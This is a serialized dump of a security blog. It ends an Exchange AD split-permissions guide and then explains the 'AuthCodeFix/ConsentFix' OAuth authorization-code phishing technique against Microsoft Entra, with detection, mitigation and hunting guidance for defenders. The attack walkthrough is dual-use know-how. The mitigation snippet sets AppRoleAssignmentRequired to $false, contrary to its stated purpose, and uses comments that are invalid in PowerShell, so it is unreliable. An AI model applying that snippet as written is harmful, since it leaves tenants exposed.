Remove-*",[1653,6236,6237,6239],{},[1656,6238,5724],{},[1649,6240,6241,6243,6246],{},[1653,6242,5727],{},[1653,6244,6245],{},"Exchange cmdlets: New-DistributionGroup, Remove-DistributionGroup, Add-DistributionGroupMember, Update-DistributionGroupMember, Remove-DistributionGroupMember",[1653,6247,6248,6249],{},"Additional usecases: user managing DistributionGroups they own via https://",[6250,6251,6252],"on-prem-exchange",{},"/EAC",[1653,6254,6255,6257],{},[1656,6256,5740],{},[1649,6258,6259,6262],{},[1653,6260,6261],{},"Modfiy AD Permissions on Users",[1653,6263,6264],{},"Exchange cmdlet: Add-ADPermission",[1653,6266,6267,6269],{},[1656,6268,5753],{},[1649,6270,6271,6274],{},[1653,6272,6273],{},"Modfiy AD Permissions on Groups",[1653,6275,6264],{},[897,6277,5765],{"id":6278},"how-to-use-the-script",[809,6280,6281],{},[2509,6282,6283,1659,6286,1659,6292,1659,6294,1659,6299],{},[2509,6284,6285],{},"Add-ExchangeADSplitPermissionOnOU.ps1 -TargetOU",[6287,6288,6289],"b",{},[2509,6290,6291],{},"\u003COU>",[2509,6293,5776],{},[6287,6295,6296],{},[2509,6297,6298],{},"\u003CGroupManage|UserSendAs|GroupSendAs|CreateUserAndContact>",[2509,6300,6301],{},"-Trustee \"AD_Custom Exchange Split permissions replacement",[809,6303,6304,6305,6307],{},"e.g.",[2970,6306],{},[2509,6308,6309,1659,6312,1659,6316],{},[2509,6310,6311],{},"Add-ExchangeADSplitPermissionOnOU.ps1 -TargetOU \"OU=ExchangeGroups,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" -PermissionType",[6287,6313,6314],{},[2509,6315,5724],{},[2509,6317,6318],{},"-Trustee \"AD_Custom Exchange Split permissions replacement\"",[809,6320,6321],{},[2509,6322,6323,1659,6325,1659,6329],{},[2509,6324,6311],{},[6287,6326,6327],{},[2509,6328,5753],{},[2509,6330,6318],{},[809,6332,6333],{},[2509,6334,6335,1659,6338,1659,6342],{},[2509,6336,6337],{},"Add-ExchangeADSplitPermissionOnOU.ps1 -TargetOU \"OU=Users,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" -PermissionType",[6287,6339,6340],{},[2509,6341,5740],{},[2509,6343,6318],{},[809,6345,6346],{},[2509,6347,6348],{},[2509,6349,6350],{},"Add-ExchangeADSplitPermissionOnOU.ps1 -TargetOU \"OU=Users,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" -PermissionType CreateUserAndContact -Trustee \"AD_Custom Exchange Split permissions replacement\"",[897,6352,5828],{"id":5827},[809,6354,6355,6357,6359],{},[1656,6356,5833],{},[2970,6358],{},[2509,6360,6361],{},"New-RoleGroup -Name \"SplitPermission Security Group Creation and Membership\" -Roles \"Security Group Creation and Membership\" -Members \"Organization Management\",\"Recipient Management\" -Description \"Brings back -BypassSecurityGroupManagerCheck to Add-DistributionGroupMember, but also needs AD ACL for Exchange Server on target DLs\" ",[892,6363,6364],{},[809,6365,6366,1659,6370,6372],{},[1656,6367,6368],{},[848,6369,6208],{},[2970,6371],{},"Else you get \"-BypassSecurityGroupManagerCheck parameter is not available\" or \"You don't have sufficient permissions. This operation can only be performed by a manager of the group\"",[809,6374,6375,6377,6379,6381],{},[2970,6376],{},[1656,6378,5867],{},[2970,6380],{},[2509,6382,6383],{},"New-RoleGroup -Name \"SplitPermission Mail Recipient Creation\" -Roles \"Mail Recipient Creation\" -Members \"Organization Management\",\"Recipient Management\" -Description \"Brings back New-Mailbox, New-RemoteMailbox, New-MailUser, New-MailContact and matching Remove-... cmdlets, but additionally Exchange needs AD ACL for Exchange Server on target OUs\"",[819,6385,5888],{"id":5887},[809,6387,6388],{},"I hope that with this guidance many more will take this important step to secure their Active Directory from compromise via Exchange. I have not yet run into issues when I implemented Exchange AD split permissions model and the adoption from this article at our customers.",[809,6390,6391],{},"I hope Microsoft will implement a native way to achieve this granular OU based approach, instead of the current all or nothing, for it to become widely adopted.",[809,6393,6394,6395,5903,6398,6401],{},"As AD Tiering is dear to my heart: Additionally, please do not logon to Exchange servers with Domain Admin (or any Tier0) accounts but treat them as Tier1 from now on and implement AD Tiering asap.\nAs a first step, I recommend tools like ",[813,6396,5902],{"href":5900,"rel":6397},[1509],[813,6399,5908],{"href":5906,"rel":6400},[1509]," to assess your AD Security and Control Paths.",[4558,6403,5912],{},{"title":927,"searchDepth":928,"depth":928,"links":6405},[6406,6407,6408,6409,6410,6413,6420],{"id":5272,"depth":935,"text":5273},{"id":5975,"depth":935,"text":5287},{"id":5317,"depth":935,"text":5318},{"id":6021,"depth":935,"text":5354},{"id":5416,"depth":928,"text":5417,"children":6411},[6412],{"id":6082,"depth":935,"text":5438},{"id":5457,"depth":928,"text":5458,"children":6414},[6415,6416,6417,6418,6419],{"id":5467,"depth":935,"text":5468},{"id":5579,"depth":935,"text":6145},{"id":5629,"depth":935,"text":5630},{"id":6278,"depth":935,"text":5765},{"id":5827,"depth":935,"text":5828},{"id":5887,"depth":928,"text":5888},{"lang":1026,"seoTitle":5927,"titleClass":942,"date":6422,"blogtitlepic":6423,"socialimg":6424,"customExcerpt":6425,"keywords":5932,"hreflang":6426,"scripts":6431,"asideNav":6432,"maxContent":511,"published":752},"2026-01-27","head-vulnerability-management","/blog/heads/head-vulnerability-management.jpg","On-Premises Exchange Server installations are still prevalent even for organizations that have moved all mailboxes to the cloud. Also, they are still very powerful within Active Directory so most times there is a strong attack path on compromising the whole AD and with that usually much of the corporate IT. Switching to the so called “AD Split permissions” removes the critical permissions and I have engineered a solution that removes it’s downsides that usually prevented the adoption.",[6427,6429],{"lang":4,"href":6428},"/de/posts/2026-01-27-exchange-active-directory",{"lang":1026,"href":6430},"/en/posts/2026-01-27-exchange-active-directory",{"slick":511,"form":511},{"menuItems":6433},[6434,6435,6436,6437,6438],{"href":5944,"text":5273},{"href":5946,"text":5318},{"href":5948,"text":5417},{"href":5950,"text":5458},{"href":5952,"text":5888},"/posts/2026-01-27-exchange-active-directory",{"title":5959,"description":927},"posts/2026-01-27-exchange-active-directory","X0CdDTa9VoI9DvzSSIJDYo8rmnNwC0LNi9ETbnzkL3s",{"id":6444,"title":6445,"author":6446,"body":6447,"cta":767,"description":6451,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":7230,"moment":7232,"navigation":511,"path":7258,"seo":7259,"stem":7260,"tags":7261,"webcast":752,"__hash__":7264},"content_es/posts/2025-12-31-vulnerability-consentfix.md","AuthCodeFix aka ConsentFix",[1255,1136,1291],{"type":806,"value":6448,"toc":7210},[6449,6452,6455,6458,6464,6467,6470,6479,6484,6492,6512,6515,6521,6524,6527,6533,6538,6542,6553,6559,6562,6565,6569,6572,6578,6585,6588,6608,6618,6622,6625,6628,6631,6634,6638,6641,6644,6661,6670,6674,6678,6698,6702,6707,6718,6721,6727,6731,6745,6749,6760,6764,6767,6775,6778,6786,6789,6797,6801,6804,6825,6828,6892,6895,6898,6901,6904,6907,6913,6916,6957,6961,6976,6980,6984,6998,7001,7004,7009,7012,7023,7027,7034,7038,7044,7049,7063,7069,7075,7081,7092,7095,7101,7104,7129,7137,7141,7161,7167,7170,7176,7180],[809,6450,6451],{},"As it is tradition right before the end of the year, a new vulnerability or clever attack vector appears, and Defenders are left trying to protect their users. Meanwhile, other attackers and red teamers watch closely and adapt.",[809,6453,6454],{},"This year, PushSecurity detected an attack that they named \"ConsentFix\", an evolution of the ClickFix attack that relies on the user to provide the attacker with a URI that basically hands over the key to the Entra kingdom. The method used in the wild relied on a manual copy and paste action by the user to work. Within a few days, John Hammond released a video demonstrating an improved version of the attack that no longer required copy and paste, instead, the user could simply drag and drop their auth code to the attacker.",[809,6456,6457],{},"When we look into the technical details of why this attack works and seemingly bypasses device compliance and other Conditional Access requirements, we find ourselves in the OAuth 2.0 authorization code flow.",[809,6459,6460],{},[838,6461],{"alt":6462,"src":6463},"OAuth 2.0 authorization code flow","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-01.png",[809,6465,6466],{},"The attacker creates a Microsoft Entra login URI that targets the \"Microsoft Azure CLI\" client and the \"Azure Resource Manager\" resource, and opens this URI when the user visits the malicious website.",[809,6468,6469],{},"Mapped to the authorization code flow, this corresponds to the first step that a native public app such as the Azure CLI would normally call to authenticate the user. The application creates a listener on the machine on which it is executed, on a random high port. This port is used as a so called reply URI.",[809,6471,6472,6473,6478],{},"You can easily reproduce this yourself, for example by using ",[813,6474,6477],{"href":6475,"rel":6476},"https://github.com/f-bader/TokenTacticsV2",[1509],"TokenTacticsV2",", or by crafting the URI manually.",[809,6480,6481],{},[838,6482],{"alt":6477,"src":6483},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-02.png",[809,6485,6486,6487,6491],{},"After the user successfully signs into Entra ID, the user is redirected to the reply URI, e.g., ",[813,6488,6489],{"href":6489,"rel":6490},"http://localhost:3001",[1509],". In a normal scenario, the Azure CLI would now accept the call to this URI and would receive the important and critical information that is part of the redirect:",[1649,6493,6494,6504],{},[1653,6495,6496,6498,6500,6501,6503],{},[1656,6497,2509],{},[2970,6499],{},"\nThis is the authorization_code, which the application uses to request a bearer token, which consists of access, ID, and optionally the refresh token.",[2970,6502],{},"\nAccording to the documentation, this code is valid for around 10 minutes and must be redeemed within this time.",[1653,6505,6506,6509,6511],{},[1656,6507,6508],{},"state",[2970,6510],{},"\nThis is an optional parameter, and the application should verify whether it is identical in the request and response.",[809,6513,6514],{},"In the attack scenario, the user is also redirected, but since no application is running on localhost, the browser encounters an error.",[809,6516,6517],{},[838,6518],{"alt":6519,"src":6520},"The browser runs into an error","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-03.png",[809,6522,6523],{},"But the URI still contains the sensitive information and this is what the attacker wants the user to provide them. If the user obliges the attacker will now redeem the token material and can then use the access and refresh token to access the resource, in this case Azure Resource Manager.",[809,6525,6526],{},"In this screenshot you will see how to retrieve the bearer token using the URI provided by the user.",[809,6528,6529],{},[838,6530],{"alt":6531,"src":6532},"Bearer token using the URI provided by the user","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-04.png",[892,6534,6535],{},[809,6536,6537],{},"If you want to test your detections, make sure you execute the last step from a different system, in a different network.",[819,6539,6541],{"id":6540},"detection-artifacts","Detection artifacts",[809,6543,6544,6545,6548,6549,6552],{},"When you reproduce the attack and check the ",[2509,6546,6547],{},"SigninLogs"," and ",[2509,6550,6551],{},"AADNonInteractiveUserSignInLogs",", you'll see two events for this single sign-in activity. The first event represents the actual user sign-in, while the second originates from the attacker's infrastructure.",[809,6554,6555],{},[838,6556],{"alt":6557,"src":6558},"Activity Log","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-05.png",[809,6560,6561],{},"The big difference is that the first event is an interactive sign in event, while the second is non-interactive. This translates to the two stages of the authentication flow: first the user, then the application or in our case the attacker.",[809,6563,6564],{},"Regular behavior of the Azure CLI would be that both sign-in events originate from the same IP address. However, in our case the IP addresses are different, and they originate from different countries. Of course, the latter is not a reliable indicator, as the attacker could reside in the same country as the victim to hide their tracks.",[897,6566,6568],{"id":6567},"missing-link","Missing link",[809,6570,6571],{},"When looking for a good way to link those two events, the natural first idea was to check the Unique Token Identifier (UTI). However, Microsoft uses different values for the authorization code UTI and the bearer token UTI, so this approach doesn't work as a reliable link.",[809,6573,6574],{},[838,6575],{"alt":6576,"src":6577},"Unique Token Identifier","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-06.png",[809,6579,6580,6581,6584],{},"However, the ",[2509,6582,6583],{},"SessionId"," is a good link between the two, though it is a long-running ID and might contain multiple of these event combinations, even legitimate ones.",[809,6586,6587],{},"With the additional knowledge of the auth code flow limitations and the user and application id as additional links you can use time as an important detection factor:",[1649,6589,6590,6593,6596,6599,6602,6605],{},[1653,6591,6592],{},"Both events share the same SessionId",[1653,6594,6595],{},"Both events share the same ApplicationId",[1653,6597,6598],{},"Both events share the same UserId",[1653,6600,6601],{},"The second event must be after the first event",[1653,6603,6604],{},"The second event must be within approximately a 10-minute time window after the first event. You should not use exactly 10 minutes as Microsoft writes \"[...] they expire after about 10 minutes\"",[1653,6606,6607],{},"You should only consider the very next second event, not subsequent ones",[892,6609,6610],{},[809,6611,6612,6615,6617],{},[1656,6613,6614],{},"Fun fact",[2970,6616],{},"\nThe ResourceIdentity is not a good link, as the attacker can change the resource since it is not bound to the auth code. The targeted application ID cannot be changed.",[819,6619,6621],{"id":6620},"reduce-the-noise","Reduce the noise",[809,6623,6624],{},"This knowledge already provided us with a good working detection, but there were benign positives in the mix as well. Modern developers use cloud resources that appear like local instances, but result in irregular login patterns in the logs.",[809,6626,6627],{},"The key difference is the time component. While the attack requires user interaction to copy and paste or drag and drop the URI, the GitHub Codespace use case we identified as the source of the benign positive alerts is completely automated and redeems the auth code within mere seconds.",[809,6629,6630],{},"So filtering out anything that does this authentication dance within a few seconds can most likely be removed as benign.",[809,6632,6633],{},"Another source of noise could be changing egress points for your internet traffic, especially in SD-WAN, ZTNA or Secure Web Gateway scenarios.",[819,6635,6637],{"id":6636},"affected-first-party-applications","Affected first-party applications",[809,6639,6640],{},"While the initial report shows \"Microsoft Azure CLI\" as the abused application there are a lot of different Microsoft first-party apps with pre-consent in every tenant that offer localhost as redirect. And not only those are a target. The attacker could also abuse reply test and dev URLs that are not publicly resolvable.",[809,6642,6643],{},"Here is a list of the most notable applications that also have high pre-consentet permissions on resources.",[1649,6645,6646,6649,6652,6655,6658],{},[1653,6647,6648],{},"Microsoft Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46)",[1653,6650,6651],{},"Microsoft Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2)",[1653,6653,6654],{},"Visual Studio (04f0c124-f2bc-4f59-8241-bf6df9866bbd)",[1653,6656,6657],{},"Visual Studio Code (aebc6443-996d-45c2-90f0-388ff96faa56)",[1653,6659,6660],{},"MS Teams PowerShell Cmdlets (12128f48-ec9e-42f0-b203-ea49fb6af367)",[809,6662,6663,6664,6669],{},"A full list of these apps are now included in ",[813,6665,6668],{"href":6666,"rel":6667},"https://entrascopes.com/?authcodeFix=true",[1509],"EntraScopes.com"," by our colleague Fabian Bader.",[819,6671,6673],{"id":6672},"mitigations-and-protections","Mitigations and Protections",[897,6675,6677],{"id":6676},"limit-the-attack-surface-and-audience","Limit the attack surface and audience",[2499,6679,6682,6685,6686,6688,6691,6692,6694,6697],{"className":6680},[6681],"option-block",[1656,6683,6684],{},"Deployment effort:"," Low to High (depends on effort to identify legitimate users)",[2970,6687],{},[1656,6689,6690],{},"Mitigation:"," Medium (reduces the potential audience for the attack)",[2970,6693],{},[1656,6695,6696],{},"Scope:"," limited\n",[897,6699,6701],{"id":6700},"option-1-require-user-assignment","Option 1: Require User Assignment",[6703,6704,6706],"h4",{"id":6705},"pre-requisites","Pre-requisites:",[1649,6708,6709,6712,6715],{},[1653,6710,6711],{},"Add the service principal for affected first-party apps by using Microsoft Graph API or PowerShell",[1653,6713,6714],{},"Apply the user assignment requirement on the service principal object using Microsoft Graph API or PowerShell",[1653,6716,6717],{},"Establish a process to assign users upon request via Access Packages, PIM-for-Groups (for just-in-time access), or a combination of both.",[4558,6719,6720],{},"\n.code-block {\n  background-color: #f6f8fa;\n  padding: 0 16px 16px 16px;\n  border-radius: 6px;\n  font-family: Menlo, Consolas, Monaco, \"Courier New\", monospace;\n  font-size: 14px;\n  line-height: 1.5;\n  overflow-x: auto;\n  white-space: pre;\n  border: 1px solid #d0d7de;\n}\n",[2503,6722,6724],{"className":6723},[2963],[2509,6725,6726],{},"\n// Example for Microsoft Graph PowerShell\nConnect-MgGraph -Identity\n$AppId = \"04b07795-8ddb-461a-bbee-02f9e1bf7b46\" // Microsoft Azure CLI\n$sp = Get-MgServicePrincipal -Filter \"appId eq '$AppId'\"\nUpdate-MgServicePrincipal -ServicePrincipalId $sp.Id -AppRoleAssignmentRequired:$false\n",[6703,6728,6730],{"id":6729},"benefit","Benefit:",[1649,6732,6733,6736,6739,6742],{},[1653,6734,6735],{},"Enables management of user assignments through Access Packages or manual group membership to limit exposure to this attack technique.",[1653,6737,6738],{},"Option to provide just-in-time access combined with eligible group membership assignment, allowing temporary access to CLI tools and thereby further reducing the attack surface.",[1653,6740,6741],{},"Applied before evaluating Conditional Access policies.",[1653,6743,6744],{},"Limits the attack surface for other scenarios as well.",[6703,6746,6748],{"id":6747},"disadvantage","Disadvantage:",[1649,6750,6751,6754,6757],{},[1653,6752,6753],{},"Can only be scoped to specific users and not combined with other requirements like usage of specific devices",[1653,6755,6756],{},"All legitimate CLI tool users must be identified",[1653,6758,6759],{},"Side effects and organizational impact must be carefully assessed by reviewing previous sign-ins.",[897,6761,6763],{"id":6762},"option-2-block-access-by-using-conditional-access-policies","Option 2: Block access by using Conditional Access Policies",[6703,6765,6706],{"id":6766},"pre-requisites-1",[1649,6768,6769,6772],{},[1653,6770,6771],{},"Create a Conditional Access policy to block access to CLI tools, excluding legitimate users, by targeting \"Microsoft Graph Command Line Tools\" and \"Windows Azure Service Management API\"",[1653,6773,6774],{},"Manage exclusions via group membership, either manually or through entitlement management (e.g., Access Packages).",[6703,6776,6730],{"id":6777},"benefit-1",[1649,6779,6780,6783],{},[1653,6781,6782],{},"Prevents token issuance for non-legitimate or non-privileged users.",[1653,6784,6785],{},"Allows granular scoping based on additional conditions such as device or network.",[6703,6787,6748],{"id":6788},"disadvantage-1",[1649,6790,6791,6794],{},[1653,6792,6793],{},"All legitimate CLI tool users must be identified and excluded.",[1653,6795,6796],{},"Side effects and organizational impact must be carefully assessed by reviewing previous sign-ins and evaluating the policy in report-only mode.",[897,6798,6800],{"id":6799},"block-token-issuance-by-authorization-code-flow","Block token issuance by authorization code flow",[4558,6802,6803],{},"\n.option-block {\n  background-color: #f6f8fa;\n  padding: 16px;\n  margin-bottom:2rem;\n  border-radius: 6px;\n  overflow-x: auto;\n  border: 1px solid #d0d7de;\n}\n",[2499,6805,6807,6810,6811,6813,6815,6816,6818,6815,6820,6822,6824],{"className":6806},[6681],[1656,6808,6809],{},"Option:"," Require Token Protection",[2970,6812],{},[1656,6814,6684],{}," High",[2970,6817],{},[1656,6819,6690],{},[2970,6821],{},[1656,6823,6696],{}," Very limited\n",[6703,6826,6706],{"id":6827},"pre-requisites-2",[1649,6829,6830,6833,6836,6855],{},[1653,6831,6832],{},"Microsoft Entra ID P1 licenses",[1653,6834,6835],{},"Entra ID Registered Devices, Hybrid or Entra ID-joined devices on Windows platform",[1653,6837,6838,6839,883,6844,6548,6849,6854],{},"Enable Web Account Manager (WAM) in ",[813,6840,6843],{"href":6841,"rel":6842},"https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli-interactively?view=azure-cli-latest#sign-in-with-web-account-manager-wam-on-windows",[1509],"Azure CLI",[813,6845,6848],{"href":6846,"rel":6847},"https://learn.microsoft.com/en-us/powershell/azure/configure-global-settings?view=azps-15.1.0#web-account-manager-wam",[1509],"Azure PowerShell",[813,6850,6853],{"href":6851,"rel":6852},"https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.authentication/set-mggraphoption?view=graph-powershell-1.0#set-web-account-manager-support",[1509],"Microsoft Graph PowerShell"," (default in latest versions)",[1653,6856,6857,6858],{},"Configure Conditional Access targeting:\n",[1649,6859,6860,6874,6881],{},[1653,6861,6862,6863],{},"Cloud App targeting to the following apps:\n",[1649,6864,6865,6868,6871],{},[1653,6866,6867],{},"Office 365 Exchange Online",[1653,6869,6870],{},"Office 365 SharePoint Online",[1653,6872,6873],{},"Microsoft Teams Services",[1653,6875,6876,6877,6880],{},"Client apps under ",[848,6878,6879],{},"Mobile apps and desktop clients"," to require Token Protection.",[1653,6882,6883,6884,6887,6888,6891],{},"Select ",[848,6885,6886],{},"Windows"," as ",[848,6889,6890],{},"device platform"," for targeting the policy",[6703,6893,6730],{"id":6894},"benefit-2",[809,6896,6897],{},"Microsoft Entra’s token protection requires proof‑of‑possession (PoP), which can only be enforced when the client communicates directly with a trusted token broker such as the Web Account Manager (WAM) on Windows. Because browsers cannot establish this secure channel, the authorization code flow initiated in a browser is blocked under token protection policies.",[809,6899,6900],{},"When the policy enforces token protection that requires broker‑managed PoP, the authorization code returned to a browser cannot be redeemed because the browser cannot produce the required broker‑signed proof during the code to token exchange",[809,6902,6903],{},"In this case, attacks with AuthCodeFix will be fully mitigated as long the application can be protected by Token Protection.",[809,6905,6906],{},"As shown in the screenshot below, Token Protection successfully mitigates the redemption of the authorization code flow initiated by the victim through a phishing action.",[809,6908,6909],{},[838,6910],{"alt":6911,"src":6912},"Token Protection successfully mitigates the redemption of the authorization code flow","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-07.png",[6703,6914,6748],{"id":6915},"disadvantage-2",[1649,6917,6918,6948,6951,6954],{},[1653,6919,6920,6921],{},"Only the following resources are officially supported:\n",[1649,6922,6923,6925,6927],{},[1653,6924,6867],{},[1653,6926,6870],{},[1653,6928,6873,6929,6931,6933,6934,6548,6937,6941,6942,6947],{},[2970,6930],{},[2970,6932],{},"\nThe Microsoft Graph API is indirectly covered by the previously mentioned resources and Microsoft Graph PowerShell is listed as a supported client. We were able to verify in our testing that the attack for this scenario will be mitigated. “Windows Azure Service Management API\" is not listed as a supported resource. Both CLI clients (",[813,6935,6843],{"href":6841,"rel":6936},[1509],[813,6938,6848],{"href":6939,"rel":6940},"https://learn.microsoft.com/en-us/powershell/azure/authenticate-interactive?view=azps-15.1.0#benefits-of-wam",[1509],") support WAM which is a client-side requirement to use Token Protection. Microsoft has been announced ",[813,6943,6946],{"href":6944,"rel":6945},"https://techcommunity.microsoft.com/blog/microsoft-entra-blog/how-to-break-the-token-theft-cyber-attack-chain/4062700",[1509],"in a blog post"," to extend token protection capabilities for Azure management scenarios.",[1653,6949,6950],{},"Some bugs in Microsoft Graph PowerShell force you to temporarily disable WAM integration",[1653,6952,6953],{},"Side effects and organizational impact must be carefully assessed by reviewing previous sign-ins and evaluating the policy in report-only mode. The cloud app targeting will also effect productivity access to Microsoft 365.",[1653,6955,6956],{},"Limited scope due to availability on supported platforms and Entra ID–integrated devices.",[897,6958,6960],{"id":6959},"block-further-token-issuance-by-compliant-network-check-or-trusted-network","Block further token issuance by compliant network check or trusted network",[2499,6962,6964,6966,6967,6969,6966,6971,6973,6975],{"className":6963},[6681],[1656,6965,6684],{}," Medium",[2970,6968],{},[1656,6970,6690],{},[2970,6972],{},[1656,6974,6696],{}," Broad\n",[897,6977,6979],{"id":6978},"option-block-access-outside-of-compliant-network-with-global-secure-access","Option: Block access outside of Compliant network with Global Secure Access",[6703,6981,6983],{"id":6982},"pre-requisite","Pre-requisite:",[1649,6985,6986,6989,6992,6995],{},[1653,6987,6988],{},"Entra ID P1 license",[1653,6990,6991],{},"Entra ID Registered Devices, Hybrid or Entra ID-joined devices on Windows, macOS, Androind and iOS platform",[1653,6993,6994],{},"Global Secure Access Client on all affected clients and enabled Entra Internet Access for M365 Traffic Profile",[1653,6996,6997],{},"Conditional Access Policy to enforce network compliant check should be applied to all cloud apps",[6703,6999,6730],{"id":7000},"benefit-3",[809,7002,7003],{},"Block additional token issuance by enforcing a trusted network check. This mitigation ensures attackers cannot obtain new tokens using the refresh token from the authorization code flow. However, it does not prevent the initial redemption of the authorization code or the issuance of the first access token, which remains valid outside the compliant network because it was originally requested by the victim.",[892,7005,7006],{},[809,7007,7008],{},"Enforcing GSA with the Compliant Network condition also blocks other Token Replay scenarios and adds additional logs which can be very useful for detections and hunting.",[6703,7010,6748],{"id":7011},"disadvantage-3",[1649,7013,7014,7017,7020],{},[1653,7015,7016],{},"Only applicable for users and devices with deployed Global Secure Access client",[1653,7018,7019],{},"Limited scope due to availability on Entra ID–integrated devices",[1653,7021,7022],{},"Enforcing Compliant Networks via CA will need some Exclusions like Intune to avoid chicken-egg-problems. Detailed testing is needed before rollout",[819,7024,7026],{"id":7025},"hunting-queries","Hunting queries",[809,7028,7029,7030,7033],{},"Once all the prerequisites for token theft mitigations are met - such as deploying the GSA client (including ingestion of ",[2509,7031,7032],{},"NetworkAccessTraffic"," logs) and taking benefit of WAM authentication - we gain additional options for threat hunting and verification.",[897,7035,7037],{"id":7036},"leveraging-gsa-logs-and-wam-authentication-for-hunting-or-verify-confidence-on-detection-results","Leveraging GSA Logs and WAM Authentication for hunting or verify confidence on detection results",[809,7039,7040,7041,7043],{},"This hunting query leverages ",[2509,7042,7032],{}," logs from Global Secure Access (GSA), which include the initiating process for communication with the Microsoft Entra token endpoint. This helps determine whether a token request originated directly from a browser and also whether any additional token requests were made outside the GSA network.",[892,7045,7046],{},[809,7047,7048],{},"This query works and delivers only reliable results when the prerequisites are met; otherwise, it leads to a high false-positive rate.",[809,7050,7051,7054,7055,7058,7059,7062],{},[1656,7052,7053],{},"Why this matters:"," When signing in via CLI or PowerShell modules using Web Account Manager (WAM) on Windows Devices, the flow does not involve a browser-based authorization code. This sign-in behavior is the default in the latest version. Therefore, if the initiating process is a browser executable (e.g., ",[2509,7056,7057],{},"msedge.exe","), this is a strong indicator of suspicious activity. On macOS, the process is initiated by the Company Portal app (",[2509,7060,7061],{},"com.microsoft.CompanyPortalMac.ssoextension",") when using Platform SSO.",[809,7064,7065,7068],{},[1656,7066,7067],{},"Token Binding and PoP:"," WAM authentication typically binds tokens to the device by enforcing Proof-of-Possession (PoP). Attackers cannot issue further bounded tokens without PoP, so an unbounded refresh token is another strong indicator.",[809,7070,7071,7074],{},[1656,7072,7073],{},"Limitations:"," All the mentioned signals are only available when the accessing device is registered with or joined to Microsoft Entra ID.",[809,7076,7077,7080],{},[1656,7078,7079],{},"Confidence Score Logic:"," The query combines multiple signals to calculate a confidence score:",[1649,7082,7083,7086,7089],{},[1653,7084,7085],{},"Presence of a browser process initiating token requests.",[1653,7087,7088],{},"Detection and down grade to unbounded tokens.",[1653,7090,7091],{},"Network provider changes (including Compliant to non-compliant) between sign-ins.",[809,7093,7094],{},"These signals can be used in the query to hunt for activity or to derive a confidence score in the event of an incident based on the previous detection.",[809,7096,7097],{},[838,7098],{"alt":7099,"src":7100},"Signals for the hunting query","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-08.png",[809,7102,7103],{},"The following scoring will be shown depending on the conditions:",[809,7105,7106,7109,7110,7112,7113,7115,7117,7120,7121,7123,7125,7128],{},[1656,7107,7108],{},"A very high confidence score"," is displayed when ",[2509,7111,7032],{}," logs indicate a familiar browser process instead of initiating a token request, and a downgrade of an unbound token has been detected.",[2970,7114],{},[2970,7116],{},[1656,7118,7119],{},"A high confidence score"," is shown when the sign-in occurs from a different Network Provider (ASN) and a non-compliant network involving unbound tokens.",[2970,7122],{},[2970,7124],{},[1656,7126,7127],{},"A medium confidence score"," is shown when only a change in Network Provider and compliant network is identified, along with a change in the token type used.",[809,7130,7131,7132,3448],{},"You’ll find the latest version of the hunting query on ",[813,7133,7136],{"href":7134,"rel":7135},"https://github.com/Cloud-Architekt/AzureSentinel/blob/main/Hunting%20Queries/EID-Authentication/ConsentFix-HuntingConfidenceOnTokenAndNetworkSignals.kusto",[1509],"GitHub",[897,7138,7140],{"id":7139},"hunting-for-activities-by-issued-tokens","Hunting for activities by issued tokens",[809,7142,7143,7144,7149,7150,7153,7154,7156,7157,7160],{},"You should consider expanding your investigation beyond sign-in events to include activities performed using tokens issued by the attacker. Our colleague Thomas Naunheim has ",[813,7145,7148],{"href":7146,"rel":7147},"https://github.com/Cloud-Architekt/AzureSentinel/blob/main/Hunting%20Queries/EID-TokenHunting/MicrosoftCloudActivity.func",[1509],"published a KQL function"," called ",[2509,7151,7152],{},"MicrosoftCloudActivity",", which can assist in this extended hunting process. Additionally, the affected ",[2509,7155,6583],{}," can be correlated with suspicious ",[2509,7158,7159],{},"UniqueId"," values identified during previous hunts for deeper analysis.",[809,7162,7163],{},[838,7164],{"alt":7165,"src":7166},"KQL function","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-09.png",[809,7168,7169],{},"In this example, the attacker leveraged the refresh token obtained during the attack to issue an access token for the Microsoft Graph API. This token was then used to maintain persistent access and lateral movement by adding a client secret to an application owned by the victim. The query provides details about the Graph API operation, including the token protection status and whether the operation occurred outside the Global Secure Access network.",[809,7171,7172],{},[838,7173],{"alt":7174,"src":7175},"Graph API operation screenshot","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-10.png",[819,7177,7179],{"id":7178},"further-reading","Further Reading",[1649,7181,7182,7189,7196,7203],{},[1653,7183,7184],{},[813,7185,7188],{"href":7186,"rel":7187},"https://pushsecurity.com/blog/consentfix",[1509],"ConsentFix: Analysing a browser-native ClickFix-style attack that hijacks OAuth consent grants - PushSecurity",[1653,7190,7191],{},[813,7192,7195],{"href":7193,"rel":7194},"https://youtu.be/AAiiIY-Soak",[1509],"Hacking Endpoint to Identity (Microsoft 365): \"ConsentFix\" - YouTube",[1653,7197,7198],{},[813,7199,7202],{"href":7200,"rel":7201},"https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow",[1509],"Microsoft identity platform and OAuth 2.0 authorization code flow",[1653,7204,7205],{},[813,7206,7209],{"href":7207,"rel":7208},"https://entrascopes.com/?appId=04b07795-8ddb-461a-bbee-02f9e1bf7b46",[1509],"Microsoft Azure CLI on 